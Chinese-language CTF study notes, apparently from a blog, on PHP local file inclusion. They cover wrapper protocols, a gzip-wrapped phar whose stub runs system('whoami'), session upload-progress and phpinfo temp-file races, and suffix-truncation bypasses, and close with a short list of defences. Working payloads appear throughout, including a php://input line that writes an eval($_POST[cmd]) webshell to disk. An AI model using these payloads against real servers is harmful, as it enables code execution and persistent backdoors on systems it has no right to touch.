文件包含笔记整理

PHP 伪协议核心笔记(CTF 常用)

概述:PHP 伪协议是 PHP 内置的封装协议,用于访问输入 / 输出流、本地文件、压缩包等资源,是 CTF 中文件读取、代码执行、文件包含类题型的高频考点。核心涉及file://、php://、zip:///compress.bzip2:///compress.zlib://、data://等协议,不同协议对php.ini中allow_url_fopen和allow_url_include配置要求不同。

一、file:// 协议

配置要求: 不受allow_url_fopen(off/on)、allow_url_include(off/on)影响,双 off 下仍可使用。
核心用途:访问本地文件系统,读取本地文件内容。

使用方法:

bash 复制代码
file://[文件的绝对路径和文件名]

测试示例:

bash 复制代码
http://127.0.0.1/cmd.php?file=file://D:/soft/phpStudy/WWW/phpcode.txt

二、php:// 协议

整体配置:无需开启allow_url_fopen;仅php://input/php://stdin/php://memory/php://temp需开启allow_url_include

1. php://filter

配置要求: 不受allow_url_fopenallow_url_include(均 off/on)影响。

**核心用途:**读取 PHP 文件源码(需通过 base64 编码输出,避免代码直接执行)。

使用方法:

php://filter/read=convert.base64-encode/resource=[目标文件路径]

测试示例:

http://127.0.0.1/cmd.php?file=php://filter/read=convert.base64-encode/resource=./cmd.php

2. php://input

配置要求

allow_url_fopen(off/on)、allow_url_include(on)。

核心用途

访问请求的原始数据只读流,将 POST 请求中的数据作为 PHP 代码执行。

使用方法:

GET 传参file=php://input,POST 数据为待执行的 PHP 代码。

测试示例:

请求地址:http://127.0.0.1/cmd.php?file=php://input

POST 数据:<?php phpinfo()?>(也可构造一句话木马)

三、zip:/// compress.bzip2:/// compress.zlib:// 协议

配置要求:不受allow_url_fopen(off/on)、allow_url_include(off/on)影响,双 off 下仍可使用。

核心用途:访问压缩文件中的子文件,支持将压缩包重命名为非压缩后缀(如.jpg)绕过上传限制。

1. zip:// 协议

使用方法:

zip://[压缩文件绝对路径]#[压缩包内的子文件名]

测试示例:

http://127.0.0.1/cmd.php?file=zip://D:/soft/phpStudy/WWW/file.jpg%23phpcode.txt

2. compress.bzip2:// 协议

使用方法:

compress.bzip2://[压缩文件路径(绝对/相对)]

测试示例:

http://127.0.0.1/cmd.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg # 或相对路径 http://127.0.0.1/cmd.php?file=compress.bzip2://./file.jpg

3. compress.zlib:// 协议

使用方法:

compress.zlib://[压缩文件路径(绝对/相对)]

测试示例:

http://127.0.0.1/cmd.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg # 或相对路径 http://127.0.0.1/cmd.php?file=compress.zlib://./file.jpg

四、data:// 协议

配置要求:必须满足allow_url_fopen=on且allow_url_include=on(实测 PHP 5.2/5.3/5.5/7.0 版本需双 on,与官方文档标注不一致)。

核心用途:直接执行 PHP 代码,支持明文 / Base64 编码两种方式。

使用方法:

  • 明文格式:data://text/plain,<?php 代码?>data:text/plain,<?php 代码?>
  • Base64 编码格式:data://text/plain;base64,[Base64编码后的PHP代码]data:text/plain;base64,[编码内容]

测试示例:

明文 http://127.0.0.1/cmd.php?file=data://text/plain,\<?php phpinfo()?> # Base64编码(PD9waHAgcGhwaW5mbygpPz4= 对应 <?php phpinfo()?>) http://127.0.0.1/cmd.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

《当include邂逅phar》笔记

1、题目环境概述

  • 两个文件:index.php(文件包含)、upload.php(文件上传)。

  • 上传文件需满足:

    • 扩展名为 zip|bz2|gz|xz|7z

    • MIME类型对应允许列表。

    • 文件内容过滤:不能包含 __HALT_COMPILER()PK<?<?php>

  • index.php 使用 basename 处理 $_GET['url'],无法使用伪协议。

2. include底层机制分析

  • compile_filename 调用 zend_compile_file
  • 对于phar文件,phar_compile_file 会判断文件名中是否包含 .phar(不区分伪协议)。
  • phar_open_from_filenamephar_open_from_fp
    • 支持多种容器格式:gzip、bzip2、zip、tar。
    • 自动识别并解压gzip/bzip2,解析zip/tar,最终寻找 __HALT_COMPILER();

3. 利用思路

  • 绕过关键字过滤
    • 生成phar文件后,用gzip压缩为 .gz 文件。
    • 压缩后的文件内容不包含被过滤关键字(如 <?__HALT_COMPILER)。
    • 只要文件名包含 .phar(如 test.phar.gz),PHP会自动解压并解析内部phar内容。
  • 绕过basename限制
    • 不需要完整phar文件名,只需文件名中含 .phar 即可(如 1.phar.html1.phar.png)。

4. 示例操作

(1)生成phar

php 复制代码
   $phar = new Phar('exploit.phar');
   $phar->startBuffering();
   $stub = <<<'STUB'
   <?php
   system('whoami');
   __HALT_COMPILER();
   STUB;
   $phar->setStub($stub);
   $phar->addFromString('test.txt', 'test');
   $phar->stopBuffering();
   

(2)压缩phar

php 复制代码
   gzip exploit.phar
   

(3)上传 exploit.phar.gz,通过include触发自动解压并执行phar中的恶意代码。

5. 关键发现

  • PHP Phar扩展支持将Phar封装为gzip、bzip2、zip、tar等格式。
  • 只要文件名包含 .phar(如 xxx.phar.gz),PHP会自动识别并解析容器内的Phar内容。
  • 可用于绕过内容过滤和伪协议限制。

PHP Session执行文件包含漏洞

1、核心原理

利用 PHP 的 session.upload_progress 功能。该功能本用于在文件上传时跟踪进度,默认开启。当 PHP 处理包含 PHP_SESSION_UPLOAD_PROGRESS 字段的文件上传请求时,会自动初始化 Session(即使 session.auto_start 关闭),并将该字段的值写入 Session 文件中。

2、触发条件

目标存在文件包含漏洞。

PHP 配置中 session.upload_progress.enabled 为 On(默认开启)。

能够发送 POST 请求(multipart/form-data 格式)并控制 Cookie 中的 PHPSESSID。

3、利用流程

  • 构造恶意数据包:发送一个文件上传请求,在 POST 数据中包含字段名 PHP_SESSION_UPLOAD_PROGRESS,字段值中写入恶意代码(如 <?php phpinfo(); ?>)。
  • 指定 Session ID:在 Cookie 中设置一个已知的 PHPSESSID(例如 zyl),从而控制生成的 Session 文件名(通常为 /tmp/sess_zyl 或类似路径)。
  • 写入 Session:PHP 接收到请求后,会将恶意代码写入对应的 Session 文件。

4. 关键难点与解决:条件竞争

  • 难点 :配置项 session.upload_progress.cleanup 默认为 On,意味着文件上传处理完成后,Session 文件会被立即删除,导致包含失败。
  • 解决 :利用条件竞争
    • 开启多线程并发。
    • 一个线程不断发送上传请求,维持 Session 文件的生成或刷新。
    • 另一个线程不断发起文件包含请求,尝试在 Session 文件被删除前读取并执行其中的代码。

5. 适用场景

当目标服务器存在文件包含漏洞,但无法利用日志文件、临时文件等其他常见方式进行攻击时,此方法提供了一个有效的利用途径,因为它依赖 PHP 默认开启的功能。

文件包含技巧(PHP 5 和 PHP 7)

技巧一:phpinfo + LFI (适用于 PHP 5 等环境)

适用场景:

目标服务器上存在 phpinfo() 页面,且存在文件包含漏洞。

原理:

  1. phpinfo() 页面会输出 PHP 的详细信息,其中包括上传文件的临时文件路径($_FILES 变量中的 tmp_name)。
  2. 当上传文件时,PHP 会将文件暂存在临时目录(通常是 /tmp)。
  3. 利用竞争条件,在上传文件的同时访问 phpinfo() 获取临时文件名,并立即通过文件包含漏洞包含该临时文件。

利用步骤:

  1. 构造上传数据:编写 Python 脚本,向服务器发送包含恶意 PHP 代码的文件上传请求。
  2. 获取路径 :脚本同时访问 phpinfo(),解析返回的 HTML 源码,提取出 [tmp_name] 的值(即临时文件名,如 /tmp/phpXXXXXX)。
  3. 竞争包含:利用提取到的文件名,立即向文件包含接口发送请求,包含该临时文件。
  4. 持久化后门 :临时文件中的恶意代码被执行,通常会在服务器上写入一个持久化的 Webshell(例如写入到 /tmp/g 或其他目录)。
  5. Getshell:后续直接访问写入的 Webshell 即可执行命令读取 flag。

技巧二:PHP7 崩溃 + 临时文件残留 (适用于 PHP 7.0 - 7.1.9)

适用场景:

目标服务器上没有 phpinfo(),导致无法获取临时文件的具体名称。

原理:

  1. 利用 PHP 7.0-7.1.9 版本中的一个特性:使用特定的 php://filter 过滤器会导致 PHP 崩溃。
  2. Payload 示例:php://filter/string.strip_tags=/etc/passwd
  3. 当 PHP 进程处理这类请求发生 Segment Fault(段错误)崩溃时,上传产生的临时文件不会被删除 ,而是保留在 /tmp 目录下。

利用步骤:

  1. 构造崩溃请求 :使用 php://filter/string.strip_tags=... 配合文件包含漏洞发送请求。
  2. 并发上传:同时发送包含恶意代码的文件上传请求。
  3. 触发崩溃:PHP 崩溃,但上传的恶意临时文件被保留了下来。
  4. 爆破文件名 :利用题目提供的 dir.php(或其他列目录功能)扫描 /tmp 目录,寻找刚生成的残留临时文件(通常可以根据时间或特征判断)。
  5. 包含执行:找到文件名后,通过 LFI 包含该文件执行恶意代码,获取 Shell。

文件包含漏洞总结

一、漏洞基础

1、漏洞定义

PHP 通过include/require等函数引入文件时,若传入的文件名未做合理验证,可导致意外文件泄漏或恶意代码注入

2、环境要求
  • allow_url_fopen=On(默认开启):允许从远程服务器 / 网站检索数据;
  • allow_url_include=On(PHP5.2 后默认关闭):允许include/require远程文件。
3. 常见包含函数

include():引入文件失败仅报 E_WARNING,脚本继续执行。

require():引入文件失败报 E_COMPILE_ERROR,脚本终止执行

include_once()/require_once():若文件已包含则不再重复引入,错误处理特性分别同include()/require()

二、核心利用:PHP 伪协议

1. php://input
  • 作用:访问请求的原始 POST 数据只读流,可将 POST 内容当作文件内容 / PHP 代码执行;
  • 典型场景
    • 任意代码执行:POST 传入 PHP 代码(如写入木马:<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>);
    • 绕过file_get_contents()校验:POST 目标字符串(如校验I want flag时,POST 该内容即可绕过)。
2. php://filter
  • 作用:读取指定文件源码(需编码避免直接执行),导致任意文件读取;
  • 核心 Payload
    • 直接读取:php://filter/resource=flag.php
    • Base64 编码读取(推荐):php://filter/read=convert.base64-encode/resource=flag.php(解码后获取源码)。
3. zip://(zlib://、bzip2://)
  • 作用:访问压缩包内文件,结合包含函数执行代码;
  • 关键规则
    • 需传入绝对路径;
    • #分隔压缩包和内部文件(URL 编码为%23);
    • 压缩包后缀可任意修改(如.zip 改.jpg);
  • 示例 Payloadzip://D:\zip.jpg%23phpinfo
4. data:// & phar://
  • data:// :类似php://input,控制输入流执行代码;
  • phar:// :类似zip://,支持相对 / 绝对路径,示例 Payload:phar://zip.zip/phpinfo

三、其他包含场景

1. 包含 Apache 日志文件
  • 原理:构造请求将 PHP 代码写入日志,再包含日志文件执行;
  • 前提:知晓日志物理路径(Windows:access.log/error.log;Linux:access_log/error_log);
  • 技巧:用 BurpSuite 避免浏览器转码,直接提交<?php phpinfo();?>类代码到日志。
2. 包含 SESSION
  • 利用条件:找到 SESSION 可控变量、知晓 SESSION 存储路径且文件可读写;
  • 常见路径:/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSIDPHPSESSID可从 Cookie 获取)。
3. 包含 /proc/self/environ
  • 原理:该文件保存 User-Agent 头,在 UA 中插入 PHP 代码,包含此文件执行;
  • 条件:PHP 以 CGI 方式运行、知晓文件路径且可读。
4. 包含临时文件
  • 原理:PHP 上传文件会生成临时文件,利用竞争 / 暴力猜解文件名实现包含;
  • 技巧:结合 phpinfo 页面的php variables获取临时文件路径(高效);Windows 临时文件名仅 65535 种,可暴力猜解。
5. 包含上传文件
  • 核心:上传图片马(如copy 1.jpg/b+2.php 3.jpg制作),再包含该文件执行代码;
  • 示例:访问http://xxx.com/index.php?page=./upload/201811.jpg,图片马写入shell.php
6. 其他

包含 SMTP 日志、结合 XSS 注入代码后包含等。

四、漏洞绕过方法

1. 指定前缀绕过(过滤../等场景)

(1)目录遍历

../../返回上一级目录,示例:?file=../../log/flag.txt(拼接路径后指向目标文件)。

(2)编码绕过

2. 指定后缀绕过(如代码拼接.txt场景)

(1)URL 特性

  • Query(?):?file=http://localhost/phpinfo.php?(拼接后为phpinfo.php?.txt);
  • Fragment(#):?file=http://localhost/phpinfo.php%23(拼接后为phpinfo.php#.txt)。

(2)协议绕过

  • zip://?file=zip://D:\zip.jpg%23phpinfo(拼接后为zip://D:\zip.jpg#phpinfo.txt);
  • phar://?file=phar://zip.zip/phpinfo(拼接后为phar://zip.zip/phpinfo.txt)。

(3)长度截断

  • 条件:PHP < 5.2.8;
  • 原理:Windows 目录最大 256 字节、Linux 最大 4096 字节,超出部分丢弃;
  • 方法:重复./截断后缀,如?file=././.../shell.php(省略大量./)。

(4)%00 截断

  • 条件:magic_quotes_gpc=Off + PHP < 5.3.4;
  • 方法:?file=shell.php%00(截断拼接的.txt)。

五、漏洞防御措施

1、最小权限化:关闭 / 限制allow_url_includeallow_url_fopen

2、路径限制:设置open_basedir,将 PHP 可打开的文件限制在指定目录树;

3、输入校验:白名单限制包含文件,严格过滤./\等特殊字符。

相关推荐
军军君011 小时前
Three.js基础功能学习十:渲染器与辅助对象
开发语言·前端·javascript·学习·3d·前端框架·ecmascript
世人万千丶2 小时前
鸿蒙跨端框架 Flutter 学习 Day 4:网络交互——HTTP 请求基础与数据反序列化实战
网络·学习·flutter·ui·交互·harmonyos·鸿蒙
恃宠而骄的佩奇2 小时前
网络安全面试题——安全服务
web安全·网络安全·面试·奇安信
IMPYLH2 小时前
Lua 的 Table 模块
开发语言·笔记·后端·junit·游戏引擎·lua
乾元2 小时前
当奥本海默遇到图灵:AI 开启的网络安全新纪元
服务器·网络·人工智能·网络协议·安全·web安全
丝斯20112 小时前
AI学习笔记整理(51)——大模型之RAG优化技术
人工智能·笔记·学习
JeffDingAI3 小时前
【Datawhale学习笔记】NLP初级分词技术
笔记·学习·自然语言处理
优雅的潮叭10 小时前
c++ 学习笔记之 shared_ptr
c++·笔记·学习
claider10 小时前
Vim User Manual 阅读笔记 usr_08.txt Splitting windows 窗口分割
笔记·编辑器·vim